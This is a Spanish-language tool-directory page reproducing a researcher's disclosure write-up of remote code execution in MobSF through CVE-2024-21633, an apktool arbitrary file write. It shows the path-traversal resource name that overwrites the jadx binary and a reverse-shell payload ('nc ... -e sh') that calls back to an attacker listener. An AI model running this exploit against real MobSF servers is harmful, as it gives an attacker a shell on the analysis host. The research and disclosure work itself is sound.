Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/0x33c0unt/cve-2024-21633
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHub0x33c0unt/cve-2024-21633

CVE-2024-21633

MobSF Ejecución remota de código (a través de CVE-2024-21633)

Ver Repositorio
79511hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ejecución remota de código en MobSF (a través de CVE-2024-21633)

He encontrado una escritura arbitraria de archivos en apktool y la reporté a través del aviso de seguridad de GitHub. Sabía que muchos proyectos dependían de apktool, pero tras la publicación del aviso y la corrección, no pareció que muchos lo notaran o les importara. Decidí comprobar su impacto y explotabilidad en algunos de los grandes dependientes, y empecé con MobSF.

La vulnerabilidad nos permite escribir cualquier cosa en una ruta relativa a "${decode target path}/res/"; el mayor impacto sería conseguir una RCE. Pero hay un inconveniente: el archivo escrito no es un ejecutable.

Antes de profundizar, tenía estas dos ideas en mente:

  • Podríamos intentar sobrescribir archivos init de shell como .bashrc/.zshrc, etc., pero esto requiere que el "decode target path" esté bajo la carpeta de usuario para poder apuntar a algo como "../../.bashrc", o necesitamos conocer (o forzar por fuerza bruta) el nombre de usuario para tener un objetivo como "../../../../username/.bashrc". Lo bueno aquí es que una aplicación puede tener 0xFFFF (65536) nombres de recursos raw diferentes porque los IDs de recurso tienen el formato 0x7F0B1234 (1 byte de identificador de paquete, normalmente 0x7F; 1 byte de identificador de tipo, p. ej., raw, drawable; 2 bytes de identificador de recurso). En nuestro caso, si asumimos que MobSF se ejecuta en Docker, ya conocemos el nombre de usuario, MobSF. Sin embargo, tras sobrescribir el archivo, tenemos que esperar a que se genere un shell, lo cual no está garantizado.
  • Crear un cronjob para ejecutar un script malicioso requiere que la aplicación tenga privilegios de root.

Pero, ¿y si tenemos la suerte de que una aplicación cambie los permisos de un archivo a ejecutable? ¿Y aún más suerte de que lo ejecute después? Y todo tiene que ocurrir después de la ejecución de apktool. Esa es exactamente la situación con MobSF. MobSF usa jadx como parte de su análisis estático; llama a jadx mediante subprocess, pero justo antes cambia el permiso de jadx a ejecutable.

Fragmento de log donde se llaman respectivamente apktool, chmod y jadx:

root@kitploit:~
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

Usaremos jadx como objetivo, pero necesitamos la ruta relativa de jadx a la carpeta res. Podemos obtenerla usando la función os.path.relpath() en Python.

Nuestra carpeta base de recursos es "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

Queremos sobrescribir el binario jadx en la ruta: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

root@kitploit:~
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

Nuestro payload estará en res/raw/jadx

root@kitploit:~
#!/bin/bash
nc host.docker.internal 9001 -e sh

El nombre del recurso será "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" resources Sube el APK y espera a que se ejecute jadx; obtendremos un shell en nuestro listener nc. upload ¡Bingo! reverse-shell

Luego reporté esto al equipo de MobSF por correo electrónico, obtuve una respuesta rápida y corrigieron actualizando a una versión más reciente de apktool, pero el comportamiento de hacer jadx ejecutable y ejecutarlo después sigue ahí. Preferiría que se hubieran fijado los permisos de forma permanente y se mantuviera el directorio no escribible.

¡Sígueme para más! @0x33c0unt

Descargar herramienta